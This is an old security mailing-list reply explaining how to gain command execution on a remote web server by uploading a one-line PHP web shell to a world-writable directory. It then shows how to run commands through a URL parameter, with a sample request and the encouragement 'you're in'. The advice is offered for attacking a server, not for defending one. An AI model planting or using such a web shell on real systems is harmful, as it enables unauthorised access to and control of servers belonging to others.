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Re: How to get a reverse Shell / VNC from a writable directory on a remote web server.


From: Ricardo Mourato <ricardomcm () gmail com>
Date: Fri, 5 Aug 2005 18:46:40 +0100

well dude, you can check if the webserver is running any kind of
scripting language like PHP or ASP
and then write a script to execute commands on the webserver
something like:
-------------------begin-------------------
<?
shell_exec($cmd);
?>
-----------------end------------------------
next you should upload the script to the writtable directory and call
it from the browser
E.G: http://webserver/world_writtable_dir/script_that_you_have_uploaded.php?&cmd=ls
in this case, the script will execute the variable given from the URL (ls)
if this works... man, you're in ;)
good luck
Ricardo Mourato.

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